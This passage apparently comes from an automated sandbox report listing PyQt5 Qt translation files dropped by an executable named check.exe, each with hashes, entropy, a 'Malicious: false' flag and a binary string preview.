Preview:	<.d....!..`.......fr_FRB...(.(.....y.0T....K.5w...!1.Uj....*.`.......a[............5..t..............39....m.....'W.......S.B<s...d..M^.. ...........J..&`.O5^...+..)^......o>.......J..&.......$....t.....8dz..%..D ......k.N.....k.N...D...n.......I...........c..2>..........M.........G...$...w....K..................,................^............$a......6.>...c......$...K....'......%M.W.b....._Xn...j..GN......~.......TH..#..!.......K.H..$Z......,..pN..........'..P.~.....o........(....h.....#4..~......s.>...M.o....!..z.q...........p......L.........h...."^.......b..e.....i..(W......(.I.l. .e.s.t. .p.o.s.s.i.b.l.e. .q.u.e. .c.e.l.a. .s.o.i.t. .d... .a.u. .f.a.i.t. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.t.i.o.n. .e.s.t. .e.n. .c.o.u.r.s. .d.'.i.n.d.e.x.a.t.i.o.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.e. .:..........Note:.....QCLuceneResultWidget.....2.R...s.u.l.t.a.t.s. .d.e. .l.a. .r.e.c.h.e.r.c.h.e.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10891
Entropy (8bit):	4.5087667371046205
Encrypted:	false
SSDEEP:	192:Im7gBZHx4hCTNarW6EJDvoIR765f40wqNcMi/8F/Ihon:v0fHccarW6Eh61wqNcMi/Q/won
MD5:	B62C74793741FC386332A59113E8D412
SHA1:	589CE099F2C1D92581B5CF0E17BE49A2BF0014D4
SHA-256:	7399A248609974773F60866C87B78EA7DFBC4F750313D692F7886CD763883C9F
SHA-512:	D8E1A3B3732662BA572A1387651F2625742710834BEDB41809DA47B5D23020AA1B558B64A00C10C605D1844F0544483163F4A6227CAFFA5ECDABF3BBF4E12D9B
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gl_ESB...8.(.......0T......Uj......`.....`.a[....F..........t..............1"... S.39.......s...!.............'F.........B<s...8..MQ.. ...........J..&S.0.....x.O5Q......)Q...O..o>...{.......#...J..&.......$....t.....8dz..%..D ......k.A.....k.A.......n.......I.................."...21....................G...#...w............[...!...?...........Q...?........$a....v.6.>..........$...K...........%0._Xa......GA...n..........~.......TH..#..K.H..$M.........pA...Z......'..P.~...B.o........(..........#+..~......s.1.....o....!..z.q...e.............................. ..e....wi..((......(.A. .r.a.z...n. .d.i.s.t.o. .p.o.d.e. .s.e.r. .q.u.e. .a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n.d.a. .e.s.t.e.a. .a. .i.n.d.e.x.a.r.s.e...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....*.R.e.s.u.l.t.a.d.o.s. .d.a. .p.r.o.c.u.r.a..........Search Results.....QCLucene

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10284
Entropy (8bit):	4.674501432335502
Encrypted:	false
SSDEEP:	192:RNY+rCG3e7LBqYqYseBb/FEWBgSn62TdJgDO9esYGY3DtgGh621XlZ/8kWvIMK:4+rheHYYZdBb/pgSn62T/FeVD3DGGh62
MD5:	5A56E9E2ED6ECE3F249D1C2A7EB3B172
SHA1:	D6F079F40FBB813B0293C1D2210BAE7084092FEC
SHA-256:	70F33B569C2942F41C6D634EA6A61CB8D80EB2C7011BAD48EF6DBAE9677960D5
SHA-512:	28947128FC51791CFDBFD3958FAF9B33979DB52C90AE0159EDB01FE6032284EB37BC05187162983A0435560BCEA864B008F499CDB4CE662792599FE20A37972A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu_HUB...(.(.......0T......5w......Uj......`.....4.a[....N..........t....".........39..........%..........B<s...8..M^...8..........J..$..O5^......)^...]..o>.......J..$......."N...t.....8dz..#g.D ......k.N...>.k.N.......n.......I..............2>..........a.........G...!...w.......................,................^............$a......6.>.........."...K....m......"..W.b...l._Xn...~..GN......~.......TH..!F.!.......K.H..!..........pN..........%..P.~...<.o........(.......... ...~......s.>...{.o.....c.z.q...K.......v......l.........h.... ........t..e....mi..%.....~.(.E.z. .a.m.i.a.t.t. .l.e.h.e.t.,. .h.o.g.y. .a. .d.o.k.u.m.e.n.t...c.i... .m...g. .i.n.d.e.x.e.l...s. .a.l.a.t.t. .v.a.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......M.e.g.j.e.g.y.z...s.:..........Note:.....QCLuceneResultWidget.....&.K.e.r.e.s...s.i. .e.r.e.d.m...n.y.e.k..........Search Results.....QCLuceneResultWidget.......A

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10612
Entropy (8bit):	4.458970627057882
Encrypted:	false
SSDEEP:	192:nRxcfy71b+myBN16cbc+w45rtlTnzo7uHp3JQJ9cVu4BJ1G82g33vOVrNL/7nEF1:RR4R/fJn9JizTgnqrNL/b0hH2K
MD5:	3639B57B463987F6DB07629253ACD8BF
SHA1:	65935A67C73F19FCF6023FB95030A5ACAF9DA21C
SHA-256:	316FE8D0815E2B4B396895BEB38EF1A40431915B5E054DF80F4C0CD556F26E4B
SHA-512:	AD7CA93D93A69F273CE80BE7F2F477543B9C5F9C7E4D7448223BFF084EA956B626D6837F22D83C5E282688B938F58C29073C4B5C6F26A797F716C14FABF9FFEE
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it_ITB...(.(.....g.0T....y.5w... ..Uj....2.`.......a[............'..t..............39..........&..........B<s...j..M^...h......K...J..%..O5^...K..)^......o>...u...J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>.................o..G..."...w............-......./..,................^...'........$a......6.>..........#...K...........$..W.b....._Xn......GN......~.......TH.."n.!.....5.K.H..#"......>..pN..........&..P.~.....o.....~..(....p.....!...~....A.s.>.....o.... ..z.q..........................q.h....!0.......*..e....;i..'!......(.L.a. .c.a.u.s.a. .d.i. .c.i... .p.o.t.r.e.b.b.e. .e.s.s.e.r.e. .c.h.e. .l.'.i.n.d.i.c.i.z.z.a.z.i.o.n.e. .d.e.l.l.a. .d.o.c.u.m.e.n.t.a.z.i.o.n.e. ... .a.n.c.o.r.a. .i.n. .c.o.r.s.o...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.......R.i.s.u.l.t.a.t.i. .d.e.l.l.a. .r.i.c.e.r.c.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7917
Entropy (8bit):	5.680408580146589
Encrypted:	false
SSDEEP:	192:mP6J37GcBzRjYEPEJJGTnwfJJxb7FTPjzzZBL3/q/I53:mSVqclR5s6Tnwfb7Pj/PL3/q/w3
MD5:	1380A9352C476071BDA5A5D4FED0B6C5
SHA1:	9B737ED05F80FE5D3CD8F588CCEC16BB11DD3560
SHA-256:	AE603B2C0D434D40CDE433FFCBA65F9EE27978A9E19316007BE7FE782A5B8B47
SHA-512:	EC3D68126488C3A163898BACAF7E783217868573635182CAF511ED046B4BE1F99A71FBB24DA607CCB50EDAF70893007AAEE9A6BAAE4C1CD33465A0915AA965DA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......jaB...(.(.....S.0T......5w....'.Uj......`.......a[............u..t............!.39.....................B<s......M^..............J...>.O5^...O..)^......o>.......J...............t...w.8dz.....D ......k.N.....k.N...H...n.......I...........i..2>...<......G......9..G....P..w............i..........,................^..........'.$a......6.>...5..........K............S.W.b...2._Xn......GN...@..~.......TH.....!.......K.H.............pN...........S.P.~.....o.....\|..(..............~....o.s.>.....o.......z.q..................@.........h.....&....... ..e.....i........@.(0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0K0.0W0.0~0[0.0..).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..:..........Note:.....QCLuceneResultWidget......i.}"}Pg...........Search Results.....QCLuceneResultWidget.....R0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0.i.}"}Pg.0LN.[.Qh0jS..`'0L0B0.0~0Y0..........VThe search results may

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	5708
Entropy (8bit):	5.698914195742074
Encrypted:	false
SSDEEP:	96:elPQHJ6L4c7LaQaFQv2QEhBL+Ejma0W40U0BzlQlcrnUSaTIdspIc18CLRSM3LBY:dHI97W1BbNz1VqqzJpoj5y5uY7OGrWFE
MD5:	CD15674A652C2BF435F7578E119182F8
SHA1:	AEA22E4A0D21396733802C7AB738DDD03737B7D6
SHA-256:	F11C64694E8E34E1D2C46C1A1D15D6BA9F2DB7B61DE4FDF54ECA5AB977C3E052
SHA-512:	88BFA112F4DBC0BFB4013CE0937E5180B4AB4A217FC8A963798C7C86532E794E4A1AD88416AE42F26A1C0631B465A5D69BFE75366E048502F5E21F4115A12F19
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......koB............%.......0T......K:^...g.Uj......`........YJ...>.E.4...........z...>..........;.B<s...K.B\>...b........+.s.....zq....[..9....F..vR......@.......@.......:....c.8Z......g.N...7..F....\|...........t.....D ......k.N.......I...m..^......`#....!..2.......G....@...N.................................X..K....{.......i..GN......NO.............K.H..........S..pN...z..V...............................>...........:.~.....i..%c.....z.q....i...s......D.0. .............Add Filter.....FilterNameDialogClass.......D.0. .t...:..........Filter Name:.....FilterNameDialogClass........... ...L..........Untitled.....QHelp.....(...L... ...\|.D. .....`. ... ...L.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....".....0...\|. .... ... ...L.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....2...\|. .%.1... ...x. .L.t...D. .... ... .................&Cannot create index tables in file %1......QHelpCollectionHandler.....,.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9673
Entropy (8bit):	4.622652249027856
Encrypted:	false
SSDEEP:	192:TO/7kBL9wGu3wtCnlhLJUBB7oph+mZ18LgP:T8QnwcCnlhdvphpZ18LgP
MD5:	2B68446B69D9AA40B273D75A581D2992
SHA1:	8A09BD38998543B74E2673478EDD54FB4BBDD068
SHA-256:	CC6CB4D8C54086224672F2E49E623C8CB7C0C1CD65B8D5ECD42FC9BA3A6065BD
SHA-512:	F3A3D6A416B3411613B06FC3EE56625D4D4DE80087182AB0D0601E49314861ABEF97D11A15B4C0511911544A59FBC4A4A52F0CCF0FD43F763A76A8922D8E57B6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......plB.....(.......0T....T.5w......Uj... R.`.......a[...............t............2.39....H......6.......n.B<s.. ...M^..._......6.O5^...F..)^......o>...............t.....D ......k.N.....k.N.../...n.......I...W..........2>...w................G.......w............&.......:..,................^...(..... ..$a....?.6.>...$..........K......W.b....._Xn......GN...Y..~......!.....*.K.H...E....."...pN...-.........P.~...}.o........(....1..~......s.>......%c.."..o.....r.z.q............................h................e.....i..#.......N.i.e.n.a.z.w.a.n.y..........Untitled.....QHelp.....P.N.i.e. .m.o.\|.n.a. .s.k.o.p.i.o.w.a... .p.l.i.k.u. .z. .k.o.l.e.k.c.j...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....>.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .k.a.t.a.l.o.g.u.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....H.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .t.a.b.e.l. .w. .p.l.i.k.u. .%.1........... Cannot create tables in file

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7288
Entropy (8bit):	5.297177914619657
Encrypted:	false
SSDEEP:	192:dBJjvfq7D6X68uBAzlp5W9+yBPZZZMM7vL0PXJL:JKrMEL0PXJL
MD5:	794AF445A5D7082D51BD22683449F86D
SHA1:	3A0C369872B112A1572AA17EEB814B168B225D98
SHA-256:	557B644E6DA5F1EC720EF93965617087E4D1F40B2494CC5AA524CF3796108DE7
SHA-512:	D42C870A16AEE7626BBE24886AD423895529A2F1A51AC2DBC303BC0E4EF9D3241FE894ECA3F7217AD408C8DCEE165CA4B89D84570357B0EB80340A3F72B0A846
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ruB..........\.%.......0T......K:^.....Uj....L.`........YJ...X.E.4...............>............B<s.....B\>............+.s.....zq.......9....B..vR...L..@.......@....G..:......8Z......g.N......F....>...........t.....D ....R.k.N...E...I...W..^......`#....s..2.......G....^...N.........................K.......d..K............O..GN...b..NO.............K.H.............pN...P..V....................g..........>.............~........%c.....z.q....i........$...>.1.0.2.;.5.=.8.5. .D.8.;.L.B.@.0..........Add Filter.....FilterNameDialogClass.........<.O. .D.8.;.L.B.@.0.:..........Filter Name:.....FilterNameDialogClass.........5.7.K.<.O.=.=.K.9..........Untitled.....QHelp.....b...5. .C.4.0.;.>.A.L. .A.:.>.?.8.@.>.2.0.B.L. .D.0.9.;. .:.>.;.;.5.:.F.8.8. .A.?.@.0.2.:.8.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....<...5. .C.4.0.;.>.A.L. .A.>.7.4.0.B.L. .:.0.B.0.;.>.3.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....`

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	4.70568613551943
Encrypted:	false
SSDEEP:	192:uPq7iBWseXKkVu4+Qv9zEJ1xGMaLNmBgJqdC6/MxIMt:LWcseV04Xv9zEoLNDJqdX/MxRt
MD5:	75C94E59F1FC5312AE25381C247AF992
SHA1:	E3E5F4582CC5FAFE6DF43644D11484861023C084
SHA-256:	F41E33E1D790BD0D3EB180F1F875BC191FE74773628F25C2CAD95E1402E66867
SHA-512:	959B8F4D57FC9728DD4804322333D1792D45A0EE85615B559E0CA3BD2DEA22E2C8C68C6482AE9425D29C819B0ED27473EDDC82EF4B6ECFFB2E2E7B56E1509B63
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk_SKB...8.(.......0T......Uj......`.....0.a[....8..........t..............1"......39.......s........... .....%..........B<s...6..MQ..............J..$-.0.......O5Q......)Q...;..o>...........G...J..$......."....t.....8dz..#..D ......k.A...2.k.A.......n..._...I.................. ...21..........e.........G...!...w....Y...........!...........=...Q............$a......6.>.........."...K....i......# ._Xa..."..GA..............~.......TH..!{.K.H.."7.........pA..........%..P.~.....o........(..........!...~....u.s.1.....o.......z.q...c..............................f..e....9i..&-......(.D...v.o.d.o.m. .m...~.e. .b.y.e. .t.o.,. .~.e. .d.o.k.u.m.e.n.t...c.i.a. .s.t...l.e. .n.i.e. .j.e. .z.i.n.d.e.x.o.v.a.n.....).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......P.o.z.n...m.k.a.:..........Note:.....QCLuceneResultWidget.....".V...s.l.e.d.k.y. .h.>.a.d.a.n.i.a..........Search Results.....QCLuceneResultWidg

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10363
Entropy (8bit):	4.613473842638716
Encrypted:	false
SSDEEP:	192:vNBqTi7qBCVIQf54EslZ2Jy/L/BnmpP0bX3caK6q1B6/hgIlCCUb0:vjq2+UVT4ESZOYmpP0bX26q1I/yqCCUw
MD5:	3B0AEE27B193A8A563C5CB5C7C4FE60F
SHA1:	C94E832595EC765370553468F87C02DB7E7D138A
SHA-256:	2EC955E662407EBCD8DCDAE5AAA21E4108E0B5B0AEE0E9DB712C27072943535F
SHA-512:	EBC25C378126876F44279E23CA0CF06FC9E7D5F51AD7E3DBDABA7A50C81112EDC1C76F7FD0AF47E447A93C3593BB953A0C9C1FBBFC49494E6B29BF21655F690E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......slB...8.(.....E.0T......Uj......`.......a[............!..t..............1"....;.39.......s....^............$........i.B<s...,..MQ..........}...J..#..0.....Z.O5Q...[..)Q......o>...............J..$I......"W...t...C.8dz..#H.D ......k.A.....k.A.......n.......I.................. P..21....................G...!...w............?...!...3...........Q...+........$a....>.6.>.........."...K...........".._Xa......GA..............~....A..TH..!I.K.H..!..........pA...>......%..P.~...>.o........(....d..... ...~......s.1.....o.......z.q.....................................e....{i..&.....z.(.R.a.z.l.o.g. .j.e. .m.o.r.d.a. .t.o.,. .d.a. .s.e. .d.o.k.u.m.e.n.t.a.c.i.j.o. .a.e. .v.e.d.n.o. .i.n.d.e.k.s.i.r.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......O.p.o.m.b.a.:..........Note:.....QCLuceneResultWidget.....".R.e.z.u.l.t.a.t.i. .i.s.k.a.n.j.a..........Search Results.....QCLuceneResultWidget.......R.e.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4629
Entropy (8bit):	4.68793836539357
Encrypted:	false
SSDEEP:	96:BoiK0UD2wMLb7Lqlguotqbww5BLNwWjK0kHU9zuQlUVUfniqthweEIFwC18lLEGA:PXFf7pU75BWWOpcJcVqDFNz8brgyf76r
MD5:	32D6EE3D8EE6408A03E568B972F93BCB
SHA1:	582EE079DBD42000C378E0701D26405750524DBA
SHA-256:	EBDECA0CFEE7A9441DEB800BABFD97C63BC4E421DA885C55B3BD49725EBACD25
SHA-512:	24AAA30B9CB4DB82A57411FBA24A87D70D8B845AE48A6FDA633D0BE6B824B58FDD2F450C2B385F16F49E2F9C6FA0A3124FD0F28594726940F996C66F8F3216CC
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr_TRB.....%.....[.0T......Uj......`.....$..............L.B<s.....B\>..........4.+.s...............t.....D ......k.N...5...I......2.......G....5...N..........a...............f..K....9..........GN...........@.K.H..........q..pN...t..........>...z.~...../..%c.....z.q....i..........B.a._.l.1.k.s.1.z..........Untitled.....QHelp.....J.K.o.l.e.k.s.i.y.o.n. .d.o.s.y.a.s.1. .k.o.p.y.a.l.a.n.a.m.1.y.o.r.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....2.D.i.z.i.n. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....\.%.1. .d.o.s.y.a.s.1.n.d.a. .d.i.z.i.n. .t.a.b.l.o.l.a.r.1. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r...........&Cannot create index tables in file %1......QHelpCollectionHandler.....N.%.1. .d.o.s.y.a.s.1.n.d.a. .t.a.b.l.o.l.a.r. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r........... Cannot create tables in file %1......QHelpCollectionHandler.....P.S.q.l.i.t.e. .v.e.r.i.t.a.b.a.n.1. .s...r...c...

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9750
Entropy (8bit):	5.281035122342072
Encrypted:	false
SSDEEP:	192:eMp79BCN+u8hhbHbny+HJouHgei50JBSfDvbetpP/RIkT:eIhgNgBbny+phiS3SfDDetpP/RRT
MD5:	90A776917D534B65942063C319573CDC
SHA1:	5DF3B213D985A3BBDB476B37B7780D7D7DF17E41
SHA-256:	497CFC473684692EE44D7A3795E8FB2270C57069FD9EB98A615DD29AB9BE8A7C
SHA-512:	B34A019716B50CE8E1E20AC32756B3B0D5802971F7A04F4BDDE2418DA551AFB9742B79E934979DB6FAB9DAC05D7D26A3B19ABA77158321F8D9AAB08AEBBD455A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk_UAB...(.(.....?.0T......5w......Uj......`.......a[...............t............K.39....u....."..........B<s...8..M^...j......y...J..!..O5^...Y..)^......o>...o...J..":...... <...t...E.8dz..!3.D ....".k.N.....k.N...d...n.......I..............2>...>......o.........G.......w............E.......e..,................^...S........$a......6.>...'...... y..K........... ..W.b....._Xn......GN...p..~.......TH...4.!.....9.K.H.............pN..........#].P.~...~.o.....N..(....b.........~......s.>.....o.....o.z.q..........................U.h.............D..e.....i..#.......(...@.8.G.8.=.>.N. .F.L.>.3.>. .<.>.6.5. .1.C.B.8. .B.5.,. .I.>. .4.>.:.C.<.5.=.B.0.F.V.O. .4.>.A.V. .V.=.4.5.:.A.C.T.B.L.A.O...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........@.8.<.V.B.:.0.:..........Note:.....QCLuceneResultWidget.....". .5.7.C.;.L.B.0.B.8. .?.>.H.C.:.C..........Search Results.....QCLuceneResultWidget....... .5.7

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	6441
Entropy (8bit):	5.790303416386852
Encrypted:	false
SSDEEP:	192:pB37nBD4H5PCyLDxLSzJPduYx9vja/FIgH9yIFqfs:rTZ4HUAD1S1JFe/F59PFqfs
MD5:	9297A6905B8B1823BF7E318D9138A104
SHA1:	3DB992A1B3BBCAF314B7EA4A000D6334D7492A52
SHA-256:	C02AAA20923F18ADDAB520BE5CB84EFD4C723396BDC24B4C9A72D406F101C7B4
SHA-512:	01F12CEE0AE456D78942A6049E1C77F94B406C8FFB4A5944DE15E54D1C760CDBA13279530A8F29B1443D1BBC647D3AF5436AAD8C43EB3944316C48300B3827E4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zhB......I....L.0T......Uj......`.......a[...............t....P..@....Z.......<.........39.......s....2.................B<s......MQ..........9...J......31.....0.......O5Q......)Q...^..o>...........(...........J...V...........t.....8dz.....D ....Z.k.A.....k.A.......n.......I...........t..w................!...........o.......D...Q...E........$a......6.>...h...............%._Xa......GA..........._..TH...r.........pA.............P.~.....o.....].~.q.............~......o.....h.z.q...........H..0q....................i........2..S.u...y.`.Q.v.S.V.S..f/V.N:..e.hckcW(..}"_.0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..............Note:.....QCLuceneResultWidget......d.}"~.g...........Search Results.....QCLuceneResultWidget.....,d.}"~.g.N_..^vN.[.et..V.N:..e.hckcW(..}"_............VThe search results may not be complete since the documentation is still being indexed!.....QCLuceneResultWidget..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9301
Entropy (8bit):	5.80411750798786
Encrypted:	false
SSDEEP:	192:4bgIXwsL78BQp4dRDP0ludqODa/wkB/tTWn5dJ6mO8IZiT9Dzz/wI3HyRWqUqS:lI/oS4dR5c/tTWn5/EZA9D/w+H8WqUqS
MD5:	47C3328D3918CF627112BB6C50E30B86
SHA1:	05705603AB3F28402A6C103E1C41DDFF21D140C0
SHA-256:	3697F1660D7F2AC9B37AC33CD1C7ECAE08ADBD26710E7E0076497CCDDC8BC830
SHA-512:	8DE1C3C5A48965CF6D8AA545DA9F0A5C00AE124F3E4153597915E7C0F4CAE1E26723270F58A47AA9FFA4AAF30E6EBA522D4EBAD27DECF17EF108E353E611980E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zh_TWB......I....[.%.......0T......0T......Uj......Uj....R.`.....>.a[....................g..t....7..@......................39.......s................... .........B<s.....B<s.....B\>......MQ..........[...J...]..31.....+.s...c.0.....U.O5Q......)Q...C..o>.......................J...............t...3...t.....8dz.....D ....R.D ......k.A.....k.A.....k.N...'...n.......I.......I...........[..2....x..G........N......w................!...........:...........Q...&...............$a......6.>...I.......L.......$..K......................_Xa...y..GA...O..GN...........$..........TH...I.K.H................ Y..pA...K..pN.............P.~.....o.....D.~.q......>.............~......~........%c.. ..o.....!.z.q...........#..0q....................i..!Y....(..g.S..f/V.p.N.W(^.z.e.N.v.}"_.uvN-0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......P..;............Note:.....QCLuceneResultWidget......d.\.}Pg...........Sea

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.6255640074603277
Encrypted:	false
SSDEEP:	3:j2wZC4C/IrLlAlHekfK/gp1MUXaMlI+rwtbWlMiayIPldkOgn:CwDrC+TYIUrIRt6HoiHn
MD5:	5A46979B45C67DD6312F33CCEA2ED7BC
SHA1:	4C56836B1FB10D9903B299CBCB925947D515B4C8
SHA-256:	BB246AABD501E14CED8B1FFC1369E3D5D26567AAE62B3EAD4D94C22FB77C3471
SHA-512:	BDBA4E1731CF254E95B0F1337410937C765E96FBB1D42F1D053033E1511FEE6F50C02705F781F4DAA0347E2299DC78A5A9942AC4EA343ED1F8F401F9ACD961E4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu....v.....q.t.b.a.s.e._.h.u.....q.t.s.c.r.i.p.t._.h.u.....q.t.m.u.l.t.i.m.e.d.i.a._.h.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.h.u

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.5752972123113778
Encrypted:	false
SSDEEP:	3:j2wZC4C/EbFlAlHeke5zOp1MUWLt7KlI+rwtbWlMj5FKIPldkOA9kk:CwDM+35aIUW5SIRt6Q50oi9Gk
MD5:	2BB8C94D420D3BC344C79A01043BDC89
SHA1:	3FBA773D58E6D3699C20AB41AEE6801E71E2DDAE
SHA-256:	9117AAC2D07BC86DFA55A29B8825ED27C7093300FCC90E143E135E00E85F09D7
SHA-512:	C6B13655AFB206B0056F5656B4A9BF33CC267FCC928F6973258131CFA6443970510226FE45A041E5AA988809E17D0B11C7458F4A241C71521EDED186596C6055
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it....v.....q.t.b.a.s.e._.i.t.....q.t.s.c.r.i.p.t._.i.t.....q.t.m.u.l.t.i.m.e.d.i.a._.i.t... .q.t.x.m.l.p.a.t.t.e.r.n.s._.i.t.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.599979504080125
Encrypted:	false
SSDEEP:	3:j2wZC4C/il/lAlHekd6hY1MUV6JAlI+rwtbWlMgel3UlIPldkOG:Cwz4+pjUGAIRt6qVUloiB
MD5:	8A1EE3433304838CCD0EBE0A825E84D8
SHA1:	2B3476588350C5384E0F9A51FF2E3659E89B4846
SHA-256:	23457CE8E44E233C6F85D56A4EE6A2CECD87C9C7BDDE6D8B8A925902EED1CD9C
SHA-512:	2D8ACD668DF537E98B27161F9FA49828EB2EB6E9CF41DB38E7F5D31F610D150CD1B580A8AE9B472A4DFDE4D4BF983C24A56293BB911CF5879368664E4D4CF3D2
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ja....v.....q.t.b.a.s.e._.j.a.....q.t.s.c.r.i.p.t._.j.a.....q.t.m.u.l.t.i.m.e.d.i.a._.j.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.j.a

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.652277257665055
Encrypted:	false
SSDEEP:	3:j2wZC4C/rrr/lAlHekcQ/01MUUQMlI+rwtbWlMhQGlIPldkORn:CwCC+1Q/UUpIRt6SBloimn
MD5:	7B2659AF52B824EAC6C169CDD9467EE9
SHA1:	5727109218B222E3B654A8CC9933E970EB7C2118
SHA-256:	4CC1AF37E771F0A43898849CFF2CD42A820451B8D2B2E88931031629D781DB05
